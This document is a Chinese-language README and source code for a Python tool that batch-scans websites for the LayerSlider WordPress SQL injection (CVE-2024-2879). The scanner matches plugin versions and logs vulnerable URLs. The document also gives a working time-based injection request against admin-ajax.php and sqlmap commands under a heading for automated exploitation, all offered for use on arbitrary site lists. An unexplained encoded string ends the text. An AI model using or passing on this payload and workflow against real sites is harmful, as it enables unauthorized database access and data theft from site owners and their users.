LayerSlider SQL注入漏洞扫描器 (CVE-2024-2879)
针对WordPress插件LayerSlider 7.9.11及7.10.0版本的未认证SQL注入漏洞的专业检测工具。该漏洞允许未经身份验证的攻击者通过构造恶意请求,在现有SQL查询中附加额外查询,从而从数据库中提取敏感信息。
功能特性
- 未认证检测:无需任何凭证即可检测目标站点是否存在漏洞
- 双重扫描模式:支持单个URL扫描和批量URL文件扫描
- 版本精准识别:通过正则匹配LayerSlider的CSS文件版本或Powered by标识
- 自动化结果输出:自动将存在漏洞的URL保存至
vulns.txt文件 - 超时控制:内置5秒请求超时,避免长时间等待
- 进度显示:批量扫描时实时显示扫描进度
安装指南
系统要求
- Python 3.6+
- pip包管理器
依赖安装
pip install -r requirements.txt
requirements.txt内容:
requests>=2.25.0
快速开始
# 克隆或下载脚本文件
# 确保scan.py和requirements.txt在同一目录下
# 安装依赖
pip install -r requirements.txt
使用说明
基础用法
# 扫描单个URL
python3 scan.py https://example.com
# 批量扫描(URL列表文件)
python3 scan.py urllist.txt
输入文件格式
批量扫描时,urllist.txt文件每行一个URL:
https://site1.com
https://site2.com
http://site3.com/wp
扫描输出示例
[1/3] : https://vuln-site.com - VULN VER 7.10.0
[2/3] : https://secure-site.com - NOT VULN
[3/3] : https://test-site.com - NOT VULN (Failed to fetch)
存在漏洞的URL会自动追加到vulns.txt文件中。
手动验证(无WAF保护环境)
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and (SELECT 6416 FROM (SELECT(SLEEP(5)))nEiK)-- vqlq HTTP/1.1
Host: site.com
响应延迟5秒表示漏洞存在。
SQLMap自动化利用
# 直接使用SQLMap
sqlmap "https://site.com/wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=" --risk=3 --level=4 --dbms=mysql --technique=T
# 或使用请求文件
sqlmap -r request.txt --risk=3 --level=4 --dbms=mysql --technique=T
核心代码
漏洞版本检测函数
import re
import sys
import requests
def check_vulnerability(version_str):
"""检查版本是否为存在漏洞的版本"""
return version_str.strip() in ["7.9.11", "7.10.0"]
单URL扫描核心逻辑
def scan_url(url, index, total, valid_file):
"""扫描单个URL是否存在CVE-2024-2879漏洞"""
try:
response = requests.get(url, timeout=5)
if response.status_code == 200:
content = response.text
# 匹配LayerSlider版本的正则表达式
pattern = r'layerslider\.css\?ver=(\d+\.\d+\.\d+)|Powered by LayerSlider (\d+\.\d+\.\d+)'
found_vuln = False
for match in re.findall(pattern, content):
version_str = next(filter(None, match))
if check_vulnerability(version_str):
print(f"[{index}/{total}] : {url} - VULN VER {version_str}")
with open(valid_file, 'a') as f:
f.write(url + '\n')
found_vuln = True
break
if not found_vuln:
print(f"[{index}/{total}] : {url} - NOT VULN")
else:
print(f"[{index}/{total}] : {url} - NOT VULN (Failed to fetch)")
except Exception as e:
print(f"[{index}/{total}] : {url} - NOT VULN (Error occurred)")
批量文件扫描逻辑
def scan_file(filename, valid_file):
"""从文件中读取URL列表并批量扫描"""
try:
with open(filename, 'r') as f:
urls = f.read().splitlines()
total = len(urls)
for i, url in enumerate(urls, start=1):
scan_url(url, i, total, valid_file)
except Exception as e:
print("Error occurred while reading the file:", e)
主程序入口
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python scan.py <url_or_file>")
sys.exit(1)
target = sys.argv[1]
valid_file = 'vulns.txt'
if target.startswith("http://") or target.startswith("https://"):
scan_url(target, 1, 1, valid_file)
else:
scan_file(target, valid_file)
6HFtX5dABrKlqXeO5PUv/1FT70CMfcxewWCvt7QLP50=